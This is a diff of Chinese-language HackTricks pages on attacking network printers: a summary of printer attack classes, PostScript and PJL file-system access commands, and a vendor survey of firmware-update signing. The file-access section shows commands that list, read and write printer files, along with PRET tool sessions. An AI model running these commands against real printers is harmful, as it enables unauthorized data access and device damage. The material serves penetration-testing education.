在 **PJL输入** 和 **LPD守护进程** 中已经 **发现** 了几个 **缓冲区溢出**,可能还有更多。\
|
||||
[**阅读这里获取更多信息。**](buffer-overflows.md)
|
||||
|
||||
### 固件更新
|
||||
|
||||
您可以使打印机将驱动程序更新为您特别制作的恶意驱动程序。\
|
||||
[**阅读此处获取更多信息。**](firmware-updates.md)
|
||||
你可能能够 **让打印机更新驱动程序为一个由你特别制作的恶意驱动程序**。\
|
||||
[**阅读这里获取更多信息。**](firmware-updates.md)
|
||||
|
||||
### **软件包**
|
||||
|
||||
打印机供应商已经开始引入在其设备上安装自定义软件的**可能性**,但信息并不公开。编写在打印机上运行的定制软件的功能是为经销商和承包商保留的。\
|
||||
[**在这里阅读更多信息。**](software-packages.md)
|
||||
打印机供应商已经开始引入 **在其设备上安装自定义软件的可能性**,但信息并未公开。编写在打印机上运行的定制软件的功能是有意为之,并且是为经销商和承包商保留的。\
|
||||
[**在这里阅读更多关于这个话题的信息。**](software-packages.md)
|
||||
|
||||
## **拒绝服务**
|
||||
|
||||
### **传输通道**
|
||||
|
||||
占用所有**连接**并**增加**服务器的**超时**可能导致拒绝服务。\
|
||||
[**在这里了解更多信息。**](transmission-channel.md)
|
||||
占用所有 **连接** 并 **增加** 服务器的 **超时** 可能导致DoS。\
|
||||
[**在这里了解更多关于这个话题的信息。**](transmission-channel.md)
|
||||
|
||||
### **文档处理**
|
||||
|
||||
您可以使用**PostScript**和**PJL**执行**无限循环**,**重新定义命令**以避免任何打印,**关闭**任何打印功能,甚至**将打印机设置为脱机模式**。\
|
||||
[**在这里了解更多信息。**](document-processing.md)
|
||||
你可以使用 **PostScript** 和 **PJL** 来执行 **无限循环**,**重新定义命令** 以避免任何打印,**关闭** 任何打印功能,甚至 **将打印机设置为离线模式**。\
|
||||
[**在这里了解更多关于这个话题的信息。**](document-processing.md)
|
||||
|
||||
### **物理损坏**
|
||||
|
||||
您可以使用**PJL**或**PostScript**将数十万次写入**NVRAM**,以达到**破坏芯片**或至少使参数被冻结为出厂默认值的目的。\
|
||||
[**在这里了解更多信息。**](physical-damage.md)
|
||||
有人可能 **滥用 PJL** 或 **PostScript** 来 **写入** **NVRAM** 成千上万次,目的是 **破坏芯片** 或至少使 **参数冻结** 成出厂默认设置。\
|
||||
[**在这里了解更多关于这个话题的信息。**](physical-damage.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或以PDF格式下载HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e114446
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 如果你想在 **HackTricks中看到你的公司广告** 或 **下载HackTricks的PDF版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,25 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## **后记**
|
||||
## **PostScript**
|
||||
|
||||
检索敏感信息,如配置文件或存储的打印作业,通过编写文件实现RCE(例如编辑rc脚本或替换二进制文件)。**PostScript**和**PJL**定义了合法的语言结构,用于**访问文件系统**。
|
||||
检索敏感信息,如配置文件或存储的打印作业,通过编写文件实现RCE(如编辑rc脚本或替换二进制文件)。为**PostScript**和**PJL**定义了合法的语言结构来**访问文件系统**。
|
||||
|
||||
使用PostScript访问文件系统(请注意,它可能会被限制为无害操作):
|
||||
使用PostScript访问文件系统(注意,它可能被沙盒化,限制为无害的操作):
|
||||
```bash
|
||||
> /str 256 string def (%*%../*) % list all files
|
||||
> {==} str filenameforall
|
||||
|
@ -39,7 +37,7 @@
|
|||
> outfile (Hello World!) writestring
|
||||
> outfile closefile
|
||||
```
|
||||
您可以使用[PETT命令](https://github.com/RUB-NDS/PRET):`ls`,`get`,`put`,`append`,`delete`,`rename`,`find`,`mirror`,`touch`,`mkdir`,`cd`,`pwd`,`chvol`,`traversal`,`format`,`fuzz`和`df`:
|
||||
你可以使用 [PRET](https://github.com/RUB-NDS/PRET) 命令:`ls`、`get`、`put`、`append`、`delete`、`rename`、`find`、`mirror`、`touch`、`mkdir`、`cd`、`pwd`、`chvol`、`traversal`、`format`、`fuzz` 和 `df`:
|
||||
```
|
||||
./pret.py -q printer ps
|
||||
Connection to printer established
|
||||
|
@ -55,30 +53,6 @@ d - Jan 1 1970 (created Jan 1 1970) tmp
|
|||
d - Jan 1 1970 (created Jan 1 1970) webServer
|
||||
```
|
||||
## PJL
|
||||
|
||||
PJL(Printer Job Language)是一种用于控制打印机的命令语言。它允许用户发送指令来管理打印任务、配置打印机设置以及执行其他操作。PJL命令通常通过网络发送给打印机,因此在进行打印机渗透测试时,了解和利用PJL命令是非常有用的。
|
||||
|
||||
### PJL命令的基本结构
|
||||
|
||||
PJL命令由两部分组成:指令名称和参数。指令名称用于指定要执行的操作,而参数则提供了执行操作所需的额外信息。PJL命令使用ASCII字符编码,并以换行符作为命令的结束符。
|
||||
|
||||
### PJL命令的常见用途
|
||||
|
||||
以下是一些常见的PJL命令及其用途:
|
||||
|
||||
- `@PJL INFO CONFIG`:获取打印机的配置信息。
|
||||
- `@PJL INFO VARIABLES`:获取打印机的变量信息。
|
||||
- `@PJL INFO STATUS`:获取打印机的状态信息。
|
||||
- `@PJL SET`:设置打印机的配置参数。
|
||||
- `@PJL USTATUS`:启用或禁用打印机的状态通知功能。
|
||||
|
||||
### 利用PJL命令进行文件系统访问
|
||||
|
||||
在某些情况下,PJL命令可以被利用来访问打印机的文件系统。通过发送特定的PJL命令,可以执行文件操作,如列出目录、读取文件内容、创建文件等。这种方法可以用于获取敏感信息或在目标系统上执行恶意操作。
|
||||
|
||||
### PJL命令的安全性考虑
|
||||
|
||||
由于PJL命令可以对打印机进行广泛的控制,因此在进行打印机渗透测试时,需要谨慎使用PJL命令。未经授权的访问和滥用PJL命令可能导致打印机的故障或数据泄露。因此,在使用PJL命令时,务必遵循合法和道德的准则,并获得适当的授权。
|
||||
```
|
||||
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
|
||||
< .\:\:TYPE=DIR
|
||||
|
@ -96,9 +70,9 @@ PJL命令由两部分组成:指令名称和参数。指令名称用于指定
|
|||
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
|
||||
> Hello World!
|
||||
```
|
||||
然而,许多打印机不支持使用PJL访问文件。
|
||||
无论如何,许多打印机不支持使用PJL访问文件。
|
||||
|
||||
您可以使用[PRET](https://github.com/RUB-NDS/PRET)命令:`ls`,`get`,`put`,`append`,`delete`,`find`,`mirror`,`touch`,`mkdir`,`cd`,`pwd`,`chvol`,`traversal`,`format`,`fuzz`和`df`:
|
||||
您可以使用 [PRET](https://github.com/RUB-NDS/PRET) 命令:`ls`、`get`、`put`、`append`、`delete`、`find`、`mirror`、`touch`、`mkdir`、`cd`、`pwd`、`chvol`、`traversal`、`format`、`fuzz` 和 `df`:
|
||||
```
|
||||
./pret.py -q printer pjl
|
||||
Connection to printer established
|
||||
|
@ -115,21 +89,18 @@ d - tmp
|
|||
d - webServer
|
||||
d - xps
|
||||
```
|
||||
**了解使用PostScript和PJL限制可能绕过沙箱的更多信息,请访问** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File\_system\_access)
|
||||
|
||||
**了解更多关于使用 PostScript 和 PJL 限制可能的沙箱绕过在** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File\_system\_access)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,76 +1,75 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家NFT收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
恶意固件更新的危险性是众所周知的,并且早在[【1】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-1)和[【2】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-2)中就已经讨论过。然而,与其他网络设备不同,**打印机通常将固件更新部署为普通的打印作业**。这为攻击者打开了一扇宽阔的大门,因为访问打印功能通常是一个低门槛。关于为什么会有这样不安全的设计决策的动机,我们只能进行推测,但似乎历史原因起了一定的作用:打印机过去是通过并行或USB电缆连接的。在没有网络连接的情况下,安全性就不那么重要了,而且在没有密码保护的Web服务器或类似功能的情况下,打印通道是将数据发送到设备的唯一方式。
|
||||
恶意固件更新的危险众所周知,并且已经由[\[1\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-1)和[\[2\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-2)早期讨论过。与其他网络设备不同的是,**打印机通常将固件更新部署为普通打印作业**。这为攻击者打开了一扇宽广的大门,因为通常很容易获得打印功能的访问权限。人们只能推测这种不安全设计决策的动机,但似乎历史原因起了作用:打印机过去是通过并行或USB电缆连接的。在没有网络连接的情况下,安全性不那么重要,而且在没有密码保护的Web服务器或类似功能的情况下,打印通道是向设备发送数据的唯一方式。
|
||||
|
||||
已经通过[【3】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3)对HP设备、[【4】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-jordon2014wrestling-4)对佳能PIXMA系列以及[【5】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-heiland2011patched-5)和[【6】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-weidenbach2016pwn-6)对各种施乐型号的网络打印机进行了固件修改攻击的演示。作为对策,打印机制造商开始对其固件进行数字签名[【7】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-hp2012rfu-7)。
|
||||
针对网络打印机的固件修改攻击已经由[\[3\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3)针对HP设备、[\[4\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-jordon2014wrestling-4)针对Canon PIXMA系列和[\[5\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-heiland2011patched-5)以及[\[6\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-weidenbach2016pwn-6)针对各种Xerox型号展示过。作为对策,打印机制造商开始对他们的固件进行数字签名[\[7\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-hp2012rfu-7)。
|
||||
|
||||
## 厂商
|
||||
## 供应商
|
||||
|
||||
为了对固件部署程序进行概述,[【8】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-8)已经下载了前10个打印机制造商的1,400个固件文件,并进行了系统分类。结果如下。
|
||||
为了概述固件部署程序,已经下载并系统分类了1400个固件文件,针对前10大打印机制造商[\[8\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-8)。结果如下。
|
||||
|
||||
### HP
|
||||
|
||||
固件可以从[support.hp.com](http://support.hp.com/)或直接从[ftp.hp.com](ftp://ftp.hp.com/pub/networking/software/pfirmware/)通过FTP下载。可以获取419个HP传统的远程固件更新(`.rfu`)格式文件和206个较新的“HP FutureSmart”二进制文件(`.bdl`)。`.rfu`文件包含专有的PJL命令,如`@PJL UPGRADE SIZE=…`,表明固件更新是以普通的打印作业方式部署的。这已经由[【3】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3)进行了演示,并导致HP自2012年3月起对其所有打印机固件进行数字签名[【7】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-hp2012rfu-7)。
|
||||
固件可以从[support.hp.com](http://support.hp.com/)下载,或者通过FTP直接从[ftp.hp.com](ftp://ftp.hp.com/pub/networking/software/pfirmware/)下载。可以检索到419个HP传统远程固件更新\(`.rfu`\)格式和206个更新的‘HP FutureSmart’二进制文件\(`.bdl`\)。`.rfu`文件包含专有的PJL命令,如`@PJL UPGRADE SIZE=…`,表明固件更新被部署为正常的打印作业。这已经由[\[3\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3)展示过,并导致HP自2012年3月起对所有打印机固件进行数字签名[\[7\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-hp2012rfu-7)。
|
||||
|
||||
### 佳能
|
||||
### Canon
|
||||
|
||||
固件可在[www.canon.com/support](http://www.canon.com/support/)上获得。然而,佳能要求提供有效的设备序列号才能下载任何固件。根据[【4】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-jordon2014wrestling-4)的说法,他们能够修改佳能PIXMA系列的固件,“没有签名(正确的做法),但它确实有非常弱的加密”。根据与佳能技术支持代表的电子邮件往来,“固件必须由佳能进行数字签名,才能被打印机接受”。
|
||||
固件可以在[www.canon.com/support](http://www.canon.com/support/)下载。然而,Canon要求提供有效的设备序列号才能下载任何固件。根据[\[4\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-jordon2014wrestling-4),他们能够修改Canon PIXMA系列的固件,‘没有签名(正确的做法),但它确实有非常弱的加密’。根据与Canon技术支持代表的电子邮件通信,‘固件必须由Canon数字签名,打印机才能接受它’。
|
||||
|
||||
### 爱普生
|
||||
### Epson
|
||||
|
||||
固件可以从[epson.com](http://epson.com/)下载,也可以通过FTP从[download.epson-europe.com](ftp://download.epson-europe.com/)下载。文件以WinZip自解压`.exe`文件形式提供,可以使用unp[\[9\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-9)解压。使用Binwalk[\[10\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-10)分析包含的`.efu`文件,它提取实际的固件。可以获得49个未知格式的`.rcx`文件(‘SEIKO EPSON EpsonNet Form’)和9个包含PJL命令的`.prn`文件(`@PJL ENTER LANGUAGE=DOWNLOAD`)。Epson尚未发布任何保护机制信息。2016年之前发布的固件没有应用代码签名,可以像[\[11\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-11)所示进行操作。他们‘相信自1999年以来生产的大量设备\[...\]可能是脆弱的’。
|
||||
|
||||
固件可以从[epson.com](http://epson.com/)和通过FTP从[download.epson-europe.com](ftp://download.epson-europe.com/)下载。文件以WinZip自解压的`.exe`文件形式提供,并可以使用unp[\[9\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-9)进行解压缩。其中的`.efu`文件可以使用Binwalk[\[10\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-10)进行分析,从中提取实际的固件。可以获得49个未知格式(“SEIKO EPSON EpsonNet Form”)的`.rcx`文件和九个包含PJL命令(`@PJL ENTER LANGUAGE=DOWNLOAD`)的`.prn`文件。爱普生没有发布任何关于保护机制的信息。2016年之前发布的固件没有应用代码签名,并且可以被篡改,正如[【11】](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-11)所示。他们“认为自1999年以来生产的大量设备[…]可能存在漏洞”。
|
||||
### Dell
|
||||
|
||||
固件可以从[downloads.dell.com](http://downloads.dell.com/)和[ftp.us.dell.com/printer](ftp://ftp.us.dell.com/printer)获取。可以使用unp解压文件,并使用unzip的变体提取包含的`.zip`文件。Dell不生产任何打印设备,而是重新标记其他供应商的产品。因此,找到了各种各样的固件文件,包括18个包含`@PJL FIRMWARE=…`的`.hd`文件,25个包含`@PJL ENTER LANGUAGE=DOWNLOAD`的`.prn`文件和30个包含`@PJL LPROGRAMRIP`的`.fls`/`.fly`文件。关于保护机制,Dell没有发布任何公开可用的信息。
|
||||
固件可以从[downloads.dell.com](http://downloads.dell.com/)和[ftp.us.dell.com/printer](ftp://ftp.us.dell.com/printer)获取。文件可以使用unp解压,包含的`.zip`文件可以使用unzip的变体提取。Dell并不生产任何打印设备,而是重新标记其他供应商的产品。因此,发现了各种固件文件,包括18个包含`@PJL FIRMWARE=…`的`.hd`文件,25个包含`@PJL ENTER LANGUAGE=DOWNLOAD`的`.prn`文件和30个`.fls`/`.fly`文件包含`@PJL LPROGRAMRIP`。关于保护机制,Dell尚未发布任何公开可用的信息。
|
||||
|
||||
### Brother
|
||||
|
||||
固件无法直接下载。相反,需要运行一个Windows二进制文件,该文件会检查可用的打印机,并从Web服务请求最新固件的下载链接。通过猜测正确的参数,可以获得98个文件的链接。固件文件不需要解压,因为它们已经以原始格式存在。79个文件的扩展名为`.djf`,包含`@PJL EXECUTE BRDOWNLOAD`,而9个`.blf`文件包含`@PJL ENTER LANGUAGE=PCL`。Brother没有发布任何公开可用的保护机制信息。
|
||||
固件不能轻易下载。相反,需要运行一个Windows二进制文件,该文件检查可用的打印机并从Web服务请求最新固件的下载链接。通过猜测正确的参数,可以获取98个文件的链接。固件文件不需要解压,因为它们已经以原始格式提供。79个文件扩展名为`.djf`,包含`@PJL EXECUTE BRDOWNLOAD`,而9个`.blf`文件包含`@PJL ENTER LANGUAGE=PCL`。Brother尚未发布任何公开可用的保护机制信息。
|
||||
|
||||
### Lexmark
|
||||
|
||||
固件可以从[support.lexmark.com](http://support.lexmark.com/)获取,并可以使用unp解压。可以获得63个包含PJL头`@PJL LPROGRAMRIP`的`fls`文件,以安装固件。Lexmark的安全白皮书声称“包必须使用对Lexmark专有且仅Lexmark知道的对称加密算法进行加密,并嵌入在所有设备中的安全方式。然而,最强大的安全措施来自于要求所有固件包必须包含来自Lexmark的多个数字2048位RSA签名。如果这些签名无效\[...\],固件将被丢弃’\[12\]。
|
||||
固件可以从[support.lexmark.com](http://support.lexmark.com/)下载,并可以使用unp解压。可以获得63个包含PJL头`@PJL LPROGRAMRIP`的`fls`文件以安装固件。Lexmark的安全白皮书声称‘包必须使用对称加密算法进行加密,通过一个只有Lexmark知道并安全嵌入在所有设备中的密钥。然而,最强的安全措施来自于要求所有固件包必须包含来自Lexmark的多个2048位RSA数字签名。如果这些签名无效\[...\]固件将被丢弃’[\[12\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-12)。
|
||||
|
||||
### Samsung
|
||||
|
||||
固件可以从[www.samsung.com/us/support/download](http://www.samsung.com/us/support/download)下载。下载的文件可以是zip存档或Windows可执行文件,可以在wine中运行,并使用unp进一步解压。通过这种方式,可以获得33个以`@PJL FIRMWARE`开头的`.hd`文件和相关的包含`@PJL DEFAULT SWUPGRADE=ON`的`.prn`文件。Samsung没有发布任何公开可用的保护机制信息。
|
||||
固件可以从[www.samsung.com/us/support/download](http://www.samsung.com/us/support/download)下载。检索到的文件要么以zip存档形式提供,要么以Windows可执行文件形式提供,可以在wine中运行并使用unp进一步解压。这样,可以获得33个以`@PJL FIRMWARE`开头的`.hd`文件和相关的包含`@PJL DEFAULT SWUPGRADE=ON`的`.prn`文件。Samsung尚未发布任何公开可用的保护机制信息。
|
||||
|
||||
### Xerox
|
||||
|
||||
固件可以在[www.support.xerox.com](http://www.support.xerox.com/)上公开获取。下载的文件以zip格式提供,并可以使用unzip解压。固件文件有不同的格式:包括16个包含`@PJL FIRMWARE=…`的`.hd`文件,36个用于旧设备的PostScript文件和35个`.dlm`文件,这是Xerox当前使用的格式,并包含数字签名。然而,[5]发现了部署过程中的一个缺陷,并由[6]扩展,导致远程代码执行-私钥和用于代码签名的工具包含在固件本身中。
|
||||
固件可以在[www.support.xerox.com](http://www.support.xerox.com/)公开获取。下载的文件以zip格式提供,可以使用unzip解压。固件文件有不同的格式:16个包含`@PJL FIRMWARE=…`的`.hd`文件,36个用于旧设备的PostScript文件和35个`.dlm`文件,这是Xerox目前使用的格式,包括数字签名。然而,[\[5\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-heiland2011patched-5)和[\[6\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-weidenbach2016pwn-6)发现了部署过程中的一个缺陷,导致远程代码执行——私钥和用于代码签名的工具包含在固件本身中。
|
||||
|
||||
### Ricoh
|
||||
|
||||
